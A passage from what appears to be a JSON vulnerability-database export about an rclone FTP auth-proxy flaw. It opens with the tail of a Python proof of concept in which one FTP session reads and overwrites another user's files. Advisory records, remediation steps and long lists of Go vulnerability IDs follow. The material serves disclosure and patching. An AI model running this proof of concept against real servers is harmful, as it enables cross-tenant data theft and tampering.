timeout=5)\n    ftp.login(\"shared\", password)\n    return ftp\n\nattacker = connect(\"attacker-token\")\n\n# Establish the attacker's original authority.\noriginal = bytearray()\nattacker.retrbinary(\"RETR attacker.txt\", original.extend)\nassert original == b\"attacker-only\\n\"\n\ntry:\n    attacker.size(\"victim.txt\")\n    raise AssertionError(\"victim file unexpectedly visible before overwrite\")\nexcept ftplib.error_perm:\n    pass\n\n# A second principal logs in with the same username and a different token.\nvictim = connect(\"victim-token\")\nassert victim.size(\"victim.txt\") \u003e 0\n\n# The first session is now silently rebound to the victim backend.\nstolen = bytearray()\nattacker.retrbinary(\"RETR victim.txt\", stolen.extend)\nprint(stolen.decode().strip())\nattacker.storbinary(\"STOR victim.txt\", io.BytesIO(b\"modified-by-first-session\\n\"))\n\nattacker.quit()\nvictim.quit()\nPY\n\ngrep -F modified-by-first-session /tmp/rclone-ftp-victim/victim.txt\n```\n\nObserved against `5629f2668c69149bf3d9d8e2a25bb32a2648606e`:\n\n- Before the victim login, the attacker session resolves only the attacker root.\n- After the victim login, the already-authenticated attacker session reads `victim.txt`.\n- A write through the attacker session overwrites the file in the victim root.\n\nThe complete automated validation used the actual FTP listener, two simultaneous `github.com/jlaffaye/ftp` clients, and an external auth-proxy process that mapped the two tokens to separate temporary local roots. It verified the precondition that `victim.txt` was unavailable to the first session before the second login, then verified both cross-root read and overwrite after the login. It passed on Windows/amd64 with Go 1.26.2:\n\n```text\n=== RUN   TestSecurityValidationFTPAuthProxyCrossSession\n--- PASS: TestSecurityValidationFTPAuthProxyCrossSession (2.11s)\n```\n\nBoth PoC sessions use loopback, so they have the same client IP and the test isolates the credential-keying defect. Across different client IPs, the issue remains reachable when the proxy does not bind credentials to source addresses. If the proxy enforces such a binding, replay of the victim credential may fail and that deployment is not exploitable by this sequence.\n\n## Impact Assessment\n\nA low-privileged user with a valid auth-proxy credential can gain the read, write, and delete authority of another accepted credential sharing the same FTP username. The unauthorized capability is direct: the first session operates on the second credential's VFS without authenticating with that credential.\n\nThe maximum impact is cross-tenant disclosure, modification, and deletion of all objects exposed by the victim backend. Actual severity is lower when all credentials for a username intentionally represent the same principal and equivalent root. The victim or an automated client must log in after the attacker, and the attacker must keep the original FTP session open.\n\nThis is not a generic FTP username-enumeration issue and does not give an unauthenticated party access. It is a session-isolation failure in auth-proxy mode.\n\n## Remediation Guidance\n\nBind the credential or backend identity to the FTP session, never to the username. `goftp.io/server/v2` exposes `sctx.Sess.Data`, which persists across commands for one session and is released with that session.\n\nA compatible fix is:\n\n1. On successful `CheckPasswd`, store a private session binding in `sctx.Sess.Data`. The binding can contain the obscured password and username, or another opaque value sufficient to resolve the same proxy entry.\n2. In `getVFS`, retrieve only that session binding. Never consult a driver-global username map.\n3. If re-authentication occurs on the same FTP session, replace the binding only after the new authentication succeeds; clear it on a failed authentication attempt where the library keeps the session alive.\n4. Preserve proxy cache expiry semantics. Holding a VFS pointer forever would prevent the existing cache from expiring it; storing the session's obscured credential and re-calling `Proxy.Call` retains current expiry behavior while maintaining identity.\n5. Remove `userPass`, `userPassMu`, and the associated global credential lifetime after the session-based path is in place.\n\nAvoid keying a replacement map by remote address, username, or client IP. Multiple sessions can share all of those values. If a library limitation makes `Session.Data` unsuitable, use the `*ftp.Session` pointer as the key and add reliable disconnect cleanup; session-owned state is preferable because cleanup is automatic.","status":"published","published":"2026-09-10T22:46:33Z","modified":"2026-09-17T17:40:51.444163094Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-488"],"updated_at":"2026-11-02T15:46:44.571161Z"},{"id":"UBUNTU-CVE-2026-88017","description":"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.64.0 until 1.75.1, the FTP auth-proxy driver in cmd/serve/ftp/ftp.go stores one obscured password per username in the server-wide userPass map[string]string instead of binding the credential or VFS to the authenticated session. If two accepted credentials use the same username but resolve to different proxy backends, a later CheckPasswd login overwrites userPass[user], and subsequent getVFS operations on the first session are reauthorized with the later password. The first session can then read, create, overwrite, rename, or delete objects using the second credential’s backend authority. Exploitation requires the later same-username login to occur while the first session remains open. This issue is fixed in version 1.75.1.","status":"withdrawn","published":"2026-09-10T16:18:00Z","modified":"2026-09-24T13:00:54.412443439Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T16:57:24.828975Z"},{"id":"BIT-rclone-2026-88017","title":"rclone: FTP cross-session auth-proxy backend confusion","description":"rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.64.0 until 1.75.1, the FTP auth-proxy driver in cmd/serve/ftp/ftp.go stores one obscured password per username in the server-wide userPass map[string]string instead of binding the credential or VFS to the authenticated session. If two accepted credentials use the same username but resolve to different proxy backends, a later CheckPasswd login overwrites userPass[user], and subsequent getVFS operations on the first session are reauthorized with the later password. The first session can then read, create, overwrite, rename, or delete objects using the second credential’s backend authority. Exploitation requires the later same-username login to occur while the first session remains open. This issue is fixed in version 1.75.1.","status":"published","published":"2026-09-15T08:49:34.13Z","modified":"2026-09-17T17:40:51.444163094Z","updated_at":"2026-11-02T15:28:35.111822Z"},{"id":"GO-2026-6458","title":"rclone: FTP cross-session auth-proxy backend confusion in github.com/rclone/rclone","description":"rclone: FTP cross-session auth-proxy backend confusion in github.com/rclone/rclone","status":"published","published":"2026-09-16T16:56:29Z","modified":"2026-09-17T17:40:51.444163094Z","updated_at":"2026-11-02T15:47:03.11707Z"},{"id":"openSUSE-SU-2026:21897-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\nChanges for govulncheck-vulndb:\n\n- Update to version 0.0.20260916T180043 2026-09-16T18:00:43Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6348 CVE-2026-84304 GHSA-vp52-pcj8-j9qc\n * GO-2026-6356 CVE-2026-65959 GHSA-mhc4-g3wh-cw7m\n * GO-2026-6366 CVE-2026-61625 GHSA-8q3c-rjr9-xxrp\n * GO-2026-6372 CVE-2026-79921 GHSA-6c5v-hqjr-5xxp\n * GO-2026-6441 CVE-2026-84303 GHSA-qc2q-p7wx-3px3\n * GO-2026-6443 CVE-2026-84445 GHSA-2v4p-qf9q-27wj\n * GO-2026-6444 CVE-2026-53495 GHSA-7jxh-36q5-gcqv\n * GO-2026-6445 CVE-2025-58363 GHSA-c23q-fw86-9h5x\n * GO-2026-6446 CVE-2025-24978 GHSA-g8rh-fjm6-h2h9\n * GO-2026-6447 CVE-2025-24979 GHSA-pqqc-8v73-9gg2\n * GO-2026-6448 CVE-2026-59185 GHSA-cp3j-m783-3ph5\n * GO-2026-6449 GHSA-hxjg-93wc-h8p8\n * GO-2026-6450 CVE-2026-59172 GHSA-m835-3cm9-rggg\n * GO-2026-6451 CVE-2026-59157 GHSA-v25g-mvwr-f5fp\n * GO-2026-6452 CVE-2026-59162 GHSA-fx5j-qcqg-grpf\n * GO-2026-6453 CVE-2026-59161 GHSA-q5j5-6p94-4gwc\n * GO-2026-6454 CVE-2026-88012 GHSA-7ghq-v6jf-g56c\n * GO-2026-6455 CVE-2026-88011 GHSA-rf44-j88r-hh8c\n * GO-2026-6456 CVE-2026-88045 GHSA-2p48-j3qc-rx9f\n * GO-2026-6457 CVE-2026-88046 GHSA-38xv-hf3p-h7mq\n * GO-2026-6458 CVE-2026-88017 GHSA-c476-6w5q-jw77\n * GO-2026-6459 CVE-2026-88016 GHSA-f8g7-2xjc-7mfh\n * GO-2026-6460 CVE-2026-88044 GHSA-p569-5gjg-9cmj\n * GO-2026-6461 CVE-2026-88015 GHSA-p6m2-r3w9-mpxw\n * GO-2026-6462 CVE-2026-88018 GHSA-xwwr-4h3p-r22c\n * GO-2026-6463 CVE-2026-88013 GHSA-486v-q2wf-fp2r\n * GO-2026-6464 CVE-2026-88014 GHSA-66hp-wgxq-6f5q\n * GO-2026-6465 CVE-2026-88009 GHSA-f52w-8j3h-j724\n * GO-2026-6466 CVE-2026-88007 GHSA-qqjf-53cj-pwvv\n * GO-2026-6467 CVE-2026-88004 GHSA-v67p-phpq-fc8x\n * GO-2026-6468 CVE-2026-88008 GHSA-w4v4-9rw7-5326\n * GO-2026-6469 CVE-2026-56665 GHSA-v77h-2w3m-94hx\n * GO-2026-6470 CVE-2026-56666 GHSA-992q-9gwp-7r79\n * GO-2026-6473 CVE-2026-76081 GHSA-v859-c572-qh5p\n * GO-2026-6474 CVE-2026-56668 GHSA-vrh8-c9cm-wh8v\n- Update to version 0.0.20260910T144842 2026-09-10T14:48:42Z.\n * GO-2026-6302 GHSA-mf7q-r4rv-jv94\n * GO-2026-6343 CVE-2026-25782 GHSA-qm72-8prh-g92x\n * GO-2026-6344 CVE-2026-26292 GHSA-rc56-rj3f-xggf\n * GO-2026-6345 CVE-2026-27779 GHSA-v8f2-2ghq-9whv\n * GO-2026-6346 CVE-2026-27780 GHSA-vhq7-fwwh-7hjf\n * GO-2026-6347 CVE-2026-27660 GHSA-x92v-f5gc-r34v\n * GO-2026-6350 CVE-2026-59832 GHSA-275h-v5h9-vr82\n * GO-2026-6351 CVE-2026-72920 GHSA-2v6v-25fm-p4fg\n * GO-2026-6353 CVE-2026-59834 GHSA-h89q-4j2h-7h88\n * GO-2026-6357 CVE-2026-73667 GHSA-2mw5-23gm-pccq\n * GO-2026-6358 CVE-2026-73841 GHSA-52gf-6rpq-fgmx\n * GO-2026-6359 CVE-2026-67446 GHSA-75mr-qw9x-3r39\n * GO-2026-6360 CVE-2026-73840 GHSA-c5f6-2rm9-2w8g\n * GO-2026-6361 CVE-2026-72921 GHSA-gv5w-hfx8-8cwq\n * GO-2026-6362 CVE-2026-73843 GHSA-qh9r-j7rp-4x2m\n * GO-2026-6363 CVE-2026-67445 GHSA-w878-pj84-3j5v\n * GO-2026-6364 GHSA-99rq-75j6-5j9f\n * GO-2026-6365 GHSA-gw25-m53r-qh88\n * GO-2026-6367 CVE-2026-56743 GHSA-fm8w-2m5w-9j7r\n * GO-2026-6368 CVE-2026-75602 GHSA-h6cj-26g5-67fv\n * GO-2026-6369 CVE-2026-73232 GHSA-jcvh-xf52-2cwm\n * GO-2026-6370 CVE-2026-73292 GHSA-8cj9-r88m-8945\n * GO-2026-6371 CVE-2026-73293 GHSA-cxvf-gvfq-36w2\n * GO-2026-6373 CVE-2026-69086 GHSA-7hm9-v7vf-7g4w\n * GO-2026-6374 CVE-2026-69083 GHSA-fph3-ghq9-vw66\n * GO-2026-6377 CVE-2026-69084 GHSA-vh22-h7hf-www7\n * GO-2026-6379 CVE-2026-68586 GHSA-36v8-mpjm-8j5r\n * GO-2026-6381 CVE-2026-68587 GHSA-69mh-gvh4-8gp7\n * GO-2026-6382 CVE-2026-68584 GHSA-7j72-f6wg-cxw6\n * GO-2026-6384 CVE-2026-68585 GHSA-pm3w-vxp9-ccwc\n * GO-2026-6386 CVE-2026-72809 GHSA-3mp7-4rh5-jrv9\n * GO-2026-6387 CVE-2026-72805 GHSA-67x2-mq63-v9vm\n * GO-2026-6388 CVE-2026-72806 GHSA-6mcf-g667-w3qv\n * GO-2026-6392 CVE-2026-72801 GHSA-8x84-r2ff-h8pq\n * GO-2026-6395 CVE-2026-72800 GHSA-5fhr-f75j-8wr9\n * GO-2026-6398 CVE-2026-72802 GHSA-jv8v-xq2h-657v\n * GO-2026-6400 CVE-2026-72810 GHSA-mw8r-mw84-88v2\n * GO-2026-6402 CVE-2026-72811 GHSA-q2vg-7qgx-x5fc\n * GO-2026-6404 CVE-2026-72803 GHSA-qvq9-hq6p-v378\n * GO-2026-6406 CVE-2026-72808 GHSA-v7ph-r5r6-4jcj\n * GO-2026-6407 CVE-2026-72804 GHSA-vpjw-wf5h-cgpq\n * GO-2026-6408 CVE-2026-72812 GHSA-wgwx-479j-23vq\n * GO-2026-6410 CVE-2026-72807 GHSA-x67c-8pwr-m8g3\n * GO-2026-6411 CVE-2026-11720 GHSA-vwxw-jrg6-9jxv\n * GO-2026-6412 CVE-2026-72799 GHSA-5w7r-f4cg-rqq7\n * GO-2026-6414 CVE-2026-72797 GHSA-f2rw-w22v-54vh\n * GO-2026-6415 CVE-2026-72798 GHSA-mfrj-v65r-979c\n * GO-2026-6420 CVE-2026-72794 GHSA-34fj-mwm6-fjfg\n * GO-2026-6423 CVE-2026-72796 GHSA-fgmr-7w36-9qfq\n * GO-2026-6424 CVE-2026-72793 GHSA-h4v5-crx2-3cv4\n * GO-2026-6425 CVE-2026-72795 GHSA-h6w7-xxcf-w2mq\n * GO-2026-6427 CVE-2026-72792 GHSA-mp7r-57w4-5qm3\n * GO-2026-6428 CVE-2026-73842 GHSA-rh53-xvx2-j327\n * GO-2026-6430 GHSA-57v5-wqx3-cgj4\n * GO-2026-6431 CVE-2026-72790 GHSA-74pj-6g7r-j55c\n * GO-2026-6433 CVE-2026-60004 GHSA-rcr6-4jqh-j84m\n * GO-2026-6434 CVE-2026-72789 GHSA-v684-q882-jgmq\n * GO-2026-6435 CVE-2026-73294 GHSA-xp7j-h7jc-4w8p\n * GO-2026-6437 CVE-2026-71494 GHSA-6x6c-w9w9-hv4h\n * GO-2026-6439 CVE-2026-71493 GHSA-mmg6-4qmv-6pc8\n * GO-2026-6440 CVE-2026-73087 GHSA-p2w3-6x73-2f6x\n","status":"published","published":"2026-09-21T12:36:27Z","modified":"2026-09-25T18:23:11.534555779Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"ROOT-APP-GOBINARY-CVE-2026-88017","title":"CVE-2026-88017 in github.com/rclone/rclone - Patched by Root","description":"Root has patched CVE-2026-88017 in the github.com/rclone/rclone package for Root:Go. Multiple fixed versions available.","status":"published","published":"2026-10-05T05:53:21Z","modified":"2026-10-05T06:15:03.19961248Z","updated_at":"2026-11-02T15:53:26.76659Z"},{"id":"SUSE-SU-2026:23855-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\nChanges for govulncheck-vulndb:\n\n- Update to version 0.0.20260916T180043 2026-09-16T18:00:43Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6348 CVE-2026-84304 GHSA-vp52-pcj8-j9qc\n * GO-2026-6356 CVE-2026-65959 GHSA-mhc4-g3wh-cw7m\n * GO-2026-6366 CVE-2026-61625 GHSA-8q3c-rjr9-xxrp\n * GO-2026-6372 CVE-2026-79921 GHSA-6c5v-hqjr-5xxp\n * GO-2026-6441 CVE-2026-84303 GHSA-qc2q-p7wx-3px3\n * GO-2026-6443 CVE-2026-84445 GHSA-2v4p-qf9q-27wj\n * GO-2026-6444 CVE-2026-53495 GHSA-7jxh-36q5-gcqv\n * GO-2026-6445 CVE-2025-58363 GHSA-c23q-fw86-9h5x\n * GO-2026-6446 CVE-2025-24978 GHSA-g8rh-fjm6-h2h9\n * GO-2026-6447 CVE-2025-24979 GHSA-pqqc-8v73-9gg2\n * GO-2026-6448 CVE-2026-59185 GHSA-cp3j-m783-3ph5\n * GO-2026-6449 GHSA-hxjg-93wc-h8p8\n * GO-2026-6450 CVE-2026-59172 GHSA-m835-3cm9-rggg\n * GO-2026-6451 CVE-2026-59157 GHSA-v25g-mvwr-f5fp\n * GO-2026-6452 CVE-2026-59162 GHSA-fx5j-qcqg-grpf\n * GO-2026-6453 CVE-2026-59161 GHSA-q5j5-6p94-4gwc\n * GO-2026-6454 CVE-2026-88012 GHSA-7ghq-v6jf-g56c\n * GO-2026-6455 CVE-2026-88011 GHSA-rf44-j88r-hh8c\n * GO-2026-6456 CVE-2026-88045 GHSA-2p48-j3qc-rx9f\n * GO-2026-6457 CVE-2026-88046 GHSA-38xv-hf3p-h7mq\n * GO-2026-6458 CVE-2026-88017 GHSA-c476-6w5q-jw77\n * GO-2026-6459 CVE-2026-88016 GHSA-f8g7-2xjc-7mfh\n * GO-2026-6460 CVE-2026-88044 GHSA-p569-5gjg-9cmj\n * GO-2026-6461 CVE-2026-88015 GHSA-p6m2-r3w9-mpxw\n * GO-2026-6462 CVE-2026-88018 GHSA-xwwr-4h3p-r22c\n * GO-2026-6463 CVE-2026-88013 GHSA-486v-q2wf-fp2r\n * GO-2026-6464 CVE-2026-88014 GHSA-66hp-wgxq-6f5q\n * GO-2026-6465 CVE-2026-88009 GHSA-f52w-8j3h-j724\n * GO-2026-6466 CVE-2026-88007 GHSA-qqjf-53cj-pwvv\n * GO-2026-6467 CVE-2026-88004 GHSA-v67p-phpq-fc8x\n * GO-2026-6468 CVE-2026-88008 GHSA-w4v4-9rw7-5326\n * GO-2026-6469 CVE-2026-56665 GHSA-v77h-2w3m-94hx\n * GO-2026-6470 CVE-2026-56666 GHSA-992q-9gwp-7r79\n * GO-2026-6473 CVE-2026-76081 GHSA-v859-c572-qh5p\n * GO-2026-6474 CVE-2026-56668 GHSA-vrh8-c9cm-wh8v\n- Update to version 0.0.20260910T144842 2026-09-10T14:48:42Z.\n * GO-2026-6302 GHSA-mf7q-r4rv-jv94\n * GO-2026-6343 CVE-2026-25782 GHSA-qm72-8prh-g92x\n * GO-2026-6344 CVE-2026-26292 GHSA-rc56-rj3f-xggf\n * GO-2026-6345 CVE-2026-27779 GHSA-v8f2-2ghq-9whv\n * GO-2026-6346 CVE-2026-27780 GHSA-vhq7-fwwh-7hjf\n * GO-2026-6347 CVE-2026-27660 GHSA-x92v-f5gc-r34v\n * GO-2026-6350 CVE-2026-59832 GHSA-275h-v5h9-vr82\n * GO-2026-6351 CVE-2026-72920 GHSA-2v6v-25fm-p4fg\n * GO-2026-6353 CVE-2026-59834 GHSA-h89q-4j2h-7h88\n * GO-2026-6357 CVE-2026-73667 GHSA-2mw5-23gm-pccq\n * GO-2026-6358 CVE-2026-73841 GHSA-52gf-6rpq-fgmx\n * GO-2026-6359 CVE-2026-67446 GHSA-75mr-qw9x-3r39\n * GO-2026-6360 CVE-2026-73840 GHSA-c5f6-2rm9-2w8g\n * GO-2026-6361 CVE-2026-72921 GHSA-gv5w-hfx8-8cwq\n * GO-2026-6362 CVE-2026-73843 GHSA-qh9r-j7rp-4x2m\n * GO-2026-6363 CVE-2026-67445 GHSA-w878-pj84-3j5v\n * GO-2026-6364 GHSA-99rq-75j6-5j9f\n * GO-2026-6365 GHSA-gw25-m53r-qh88\n * GO-2026-6367 CVE-2026-56743 GHSA-fm8w-2m5w-9j7r\n * GO-2026-6368 CVE-2026-75602 GHSA-h6cj-26g5-67fv\n * GO-2026-6369 CVE-2026-73232 GHSA-jcvh-xf52-2cwm\n * GO-2026-6370 CVE-2026-73292 GHSA-8cj9-r88m-8945\n * GO-2026-6371 CVE-2026-73293 GHSA-cxvf-gvfq-36w2\n * GO-2026-6373 CVE-2026-69086 GHSA-7hm9-v7vf-7g4w\n * GO-2026-6374 CVE-2026-69083 GHSA-fph3-ghq9-vw66\n * GO-2026-6377 CVE-2026-69084 GHSA-vh22-h7hf-www7\n * GO-2026-6379 CVE-2026-68586 GHSA-36v8-mpjm-8j5r\n * GO-2026-6381 CVE-2026-68587 GHSA-69mh-gvh4-8gp7\n * GO-2026-6382 CVE-2026-68584 GHSA-7j72-f6wg-cxw6\n * GO-2026-6384 CVE-2026-68585 GHSA-pm3w-vxp9-ccwc\n * GO-2026-6386 CVE-2026-72809 GHSA-3mp7-4rh5-jrv9\n * GO-2026-6387 CVE-2026-72805 GHSA-67x2-mq63-v9vm\n * GO-2026-6388 CVE-2026-72806 GHSA-6mcf-g667-w3qv\n * GO-2026-6392 CVE-2026-72801 GHSA-8x84-r2ff-h8pq\n * GO-2026-6395 CVE-2026-72800 GHSA-5fhr-f75j-8wr9\n * GO-2026-6398 CVE-2026-72802 GHSA-jv8v-xq2h-657v\n * GO-2026-6400 CVE-2026-72810 GHSA-mw8r-mw84-88v2\n * GO-2026-6402 CVE-2026-72811 GHSA-q2vg-7qgx-x5fc\n * GO-2026-6404 CVE-2026-72803 GHSA-qvq9-hq6p-v378\n * GO-2026-6406 CVE-2026-72808 GHSA-v7ph-r5r6-4jcj\n * GO-2026-6407 CVE-2026-72804 GHSA-vpjw-wf5h-cgpq\n * GO-2026-6408 CVE-2026-72812 GHSA-wgwx-479j-23vq\n * GO-2026-6410 CVE-2026-72807 GHSA-x67c-8pwr-m8g3\n * GO-2026-6411 CVE-2026-11720 GHSA-vwxw-jrg6-9jxv\n * GO-2026-6412 CVE-2026-72799 GHSA-5w7r-f4cg-rqq7\n * GO-2026-6414 CVE-2026-72797 GHSA-f2rw-w22v-54vh\n * GO-2026-6415 CVE-2026-72798 GHSA-mfrj-v65r-979c\n * GO-2026-6420 CVE-2026-72794 GHSA-34fj-mwm6-fjfg\n * GO-2026-6423 CVE-2026-72796 GHSA-fgmr-7w36-9qfq\n * GO-2026-6424 CVE-2026-72793 GHSA-h4v5-crx2-3cv4\n * GO-2026-6425 CVE-2026-72795 GHSA-h6w7-xxcf-w2mq\n * GO-2026-6427 CVE-2026-72792 GHSA-mp7r-57w4-5qm3\n * GO-2026-6428 CVE-2026-73842 GHSA-rh53-xvx2-j327\n * GO-2026-6430 GHSA-57v5-wqx3-cgj4\n * GO-2026-6431 CVE-2026-72790 GHSA-74pj-6g7r-j55c\n * GO-2026-6433 CVE-2026-60004 GHSA-rcr6-4jqh-j84m\n * GO-2026-6434 CVE-2026-72789 GHSA-v684-q882-jgmq\n * GO-2026-6435 CVE-2026-73294 GHSA-xp7j-h7jc-4w8p\n * GO-2026-6437 CVE-2026-71494 GHSA-6x6c-w9w9-hv4h\n * GO-2026-6439 CVE-2026-71493 GHSA-mmg6-4qmv-6pc8\n * GO-2026-6440 CVE-2026-73087 GHSA-p2w3-6x73-2f6x\n","status":"published","published":"2026-09-21T12:24:57Z","modified":"2026-09-27T18:23:15.791415126Z","updated_at":"2026-11-02T15:54:03.991985Z"},{"id":"SUSE-SU-2026:23863-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\nChanges for govulncheck-vulndb:\n\n- Update to version 0.0.20260916T180043 2026-09-16T18:00:43Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6348 CVE-2026-84304 GHSA-vp52-pcj8-j9qc\n * GO-2026-6356 CVE-2026-65959 GHSA-mhc4-g3wh-cw7m\n * GO-2026-6366 CVE-2026-61625 GHSA-8q3c-rjr9-xxrp\n * GO-2026-6372 CVE-2026-79921 GHSA-6c5v-hqjr-5xxp\n * GO-2026-6441 CVE-2026-84303 GHSA-qc2q-p7wx-3px3\n * GO-2026-6443 CVE-2026-84445 GHSA-2v4p-qf9q-27wj\n * GO-2026-6444 CVE-2026-53495 GHSA-7jxh-36q5-gcqv\n * GO-2026-6445 CVE-2025-58363 GHSA-c23q-fw86-9h5x\n * GO-2026-6446 CVE-2025-24978 GHSA-g8rh-fjm6-h2h9\n * GO-2026-6447 CVE-2025-24979 GHSA-pqqc-8v73-9gg2\n * GO-2026-6448 CVE-2026-59185 GHSA-cp3j-m783-3ph5\n * GO-2026-6449 GHSA-hxjg-93wc-h8p8\n * GO-2026-6450 CVE-2026-59172 GHSA-m835-3cm9-rggg\n * GO-2026-6451 CVE-2026-59157 GHSA-v25g-mvwr-f5fp\n * GO-2026-6452 CVE-2026-59162 GHSA-fx5j-qcqg-grpf\n * GO-2026-6453 CVE-2026-59161 GHSA-q5j5-6p94-4gwc\n * GO-2026-6454 CVE-2026-88012 GHSA-7ghq-v6jf-g56c\n * GO-2026-6455 CVE-2026-88011 GHSA-rf44-j88r-hh8c\n * GO-2026-6456 CVE-2026-88045 GHSA-2p48-j3qc-rx9f\n * GO-2026-6457 CVE-2026-88046 GHSA-38xv-hf3p-h7mq\n * GO-2026-6458 CVE-2026-88017 GHSA-c476-6w5q-jw77\n * GO-2026-6459 CVE-2026-88016 GHSA-f8g7-2xjc-7mfh\n * GO-2026-6460 CVE-2026-88044 GHSA-p569-5gjg-9cmj\n * GO-2026-6461 CVE-2026-88015 GHSA-p6m2-r3w9-mpxw\n * GO-2026-6462 CVE-2026-88018 GHSA-xwwr-4h3p-r22c\n * GO-2026-6463 CVE-2026-88013 GHSA-486v-q2wf-fp2r\n * GO-2026-6464 CVE-2026-88014 GHSA-66hp-wgxq-6f5q\n * GO-2026-6465 CVE-2026-88009 GHSA-f52w-8j3h-j724\n * GO-2026-6466 CVE-2026-88007 GHSA-qqjf-53cj-pwvv\n * GO-2026-6467 CVE-2026-88004 GHSA-v67p-phpq-fc8x\n * GO-2026-6468 CVE-2026-88008 GHSA-w4v4-9rw7-5326\n * GO-2026-6469 CVE-2026-56665 GHSA-v77h-2w3m-94hx\n * GO-2026-6470 CVE-2026-56666 GHSA-992q-9gwp-7r79\n * GO-2026-6473 CVE-2026-76081 GHSA-v859-c572-qh5p\n * GO-2026-6474 CVE-2026-56668 GHSA-vrh8-c9cm-wh8v\n- Update to version 0.0.20260910T144842 2026-09-10T14:48:42Z.\n * GO-2026-6302 GHSA-mf7q-r4rv-jv94\n * GO-2026-6343 CVE-2026-25782 GHSA-qm72-8prh-g92x\n * GO-2026-6344 CVE-2026-26292 GHSA-rc56-rj3f-xggf\n * GO-2026-6345 CVE-2026-27779 GHSA-v8f2-2ghq-9whv\n * GO-2026-6346 CVE-2026-27780 GHSA-vhq7-fwwh-7hjf\n * GO-2026-6347 CVE-2026-27660 GHSA-x92v-f5gc-r34v\n * GO-2026-6350 CVE-2026-59832 GHSA-275h-v5h9-vr82\n * GO-2026-6351 CVE-2026-72920 GHSA-2v6v-25fm-p4fg\n * GO-2026-6353 CVE-2026-59834 GHSA-h89q-4j2h-7h88\n * GO-2026-6357 CVE-2026-73667 GHSA-2mw5-23gm-pccq\n * GO-2026-6358 CVE-2026-73841 GHSA-52gf-6rpq-fgmx\n * GO-2026-6359 CVE-2026-67446 GHSA-75mr-qw9x-3r39\n * GO-2026-6360 CVE-2026-73840 GHSA-c5f6-2rm9-2w8g\n * GO-2026-6361 CVE-2026-72921 GHSA-gv5w-hfx8-8cwq\n * GO-2026-6362 CVE-2026-73843 GHSA-qh9r-j7rp-4x2m\n * GO-2026-6363 CVE-2026-67445 GHSA-w878-pj84-3j5v\n * GO-2026-6364 GHSA-99rq-75j6-5j9f\n * GO-2026-6365 GHSA-gw25-m53r-qh88\n * GO-2026-6367 CVE-2026-56743 GHSA-fm8w-2m5w-9j7r\n * GO-2026-6368 CVE-2026-75602 GHSA-h6cj-26g5-67fv\n * GO-2026-6369 CVE-2026-73232 GHSA-jcvh-xf52-2cwm\n * GO-2026-6370 CVE-2026-73292 GHSA-8cj9-r88m-8945\n * GO-2026-6371 CVE-2026-73293 GHSA-cxvf-gvfq-36w2\n * GO-2026-6373 CVE-2026-69086 GHSA-7hm9-v7vf-7g4w\n * GO-2026-6374 CVE-2026-69083 GHSA-fph3-ghq9-vw66\n * GO-2026-6377 CVE-2026-69084 GHSA-vh22-h7hf-www7\n * GO-2026-6379 CVE-2026-68586 GHSA-36v8-mpjm-8j5r\n * GO-2026-6381 CVE-2026-68587 GHSA-69mh-gvh4-8gp7\n * GO-2026-6382 CVE-2026-68584 GHSA-7j72-f6wg-cxw6\n * GO-2026-6384 CVE-2026-68585 GHSA-pm3w-vxp9-ccwc\n * GO-2026-6386 CVE-2026-72809 GHSA-3mp7-4rh5-jrv9\n * GO-2026-6387 CVE-2026-72805 GHSA-67x2-mq63-v9vm\n * GO-2026-6388 CVE-2026-72806 GHSA-6mcf-g667-w3qv\n * GO-2026-6392 CVE-2026-72801 GHSA-8x84-r2ff-h8pq\n * GO-2026-6395 CVE-2026-72800 GHSA-5fhr-f75j-8wr9\n * GO-2026-6398 CVE-2026-72802 GHSA-jv8v-xq2h-657v\n * GO-2026-6400 CVE-2026-72810 GHSA-mw8r-mw84-88v2\n * GO-2026-6402 CVE-2026-72811 GHSA-q2vg-7qgx-x5fc\n * GO-2026-6404 CVE-2026-72803 GHSA-qvq9-hq6p-v378\n * GO-2026-6406 CVE-2026-72808 GHSA-v7ph-r5r6-4jcj\n * GO-2026-6407 CVE-2026-72804 GHSA-vpjw-wf5h-cgpq\n * GO-2026-6408 CVE-2026-72812 GHSA-wgwx-479j-23vq\n * GO-2026-6410 CVE-2026-72807 GHSA-x67c-8pwr-m8g3\n * GO-2026-6411 CVE-2026-11720 GHSA-vwxw-jrg6-9jxv\n * GO-2026-6412 CVE-2026-72799 GHSA-5w7r-f4cg-rqq7\n * GO-2026-6414 CVE-2026-72797 GHSA-f2rw-w22v-54vh\n * GO-2026-6415 CVE-2026-72798 GHSA-mfrj-v65r-979c\n * GO-2026-6420 CVE-2026-72794 GHSA-34fj-mwm6-fjfg\n * GO-2026-6423 CVE-2026-72796 GHSA-fgmr-7w36-9qfq\n * GO-2026-6424 CVE-2026-72793 GHSA-h4v5-crx2-3cv4\n * GO-2026-6425 CVE-2026-72795 GHSA-h6w7-xxcf-w2mq\n * GO-2026-6427 CVE-2026-72792 GHSA-mp7r-57w4-5qm3\n * GO-2026-6428 CVE-2026-73842 GHSA-rh53-xvx2-j327\n * GO-2026-6430 GHSA-57v5-wqx3-cgj4\n * GO-2026-6431 CVE-2026-72790 GHSA-74pj-6g7r-j55c\n * GO-2026-6433 CVE-2026-60004 GHSA-rcr6-4jqh-j84m\n * GO-2026-6434 CVE-2026-72789 GHSA-v684-q882-jgmq\n * GO-2026-6435 CVE-2026-73294 GHSA-xp7j-h7jc-4w8p\n * GO-2026-6437 CVE-2026-71494 GHSA-6x6c-w9w9-hv4h\n * GO-2026-6439 CVE-2026-71493 GHSA-mmg6-4qmv-6pc8\n * GO-2026-6440 CVE-2026-73087 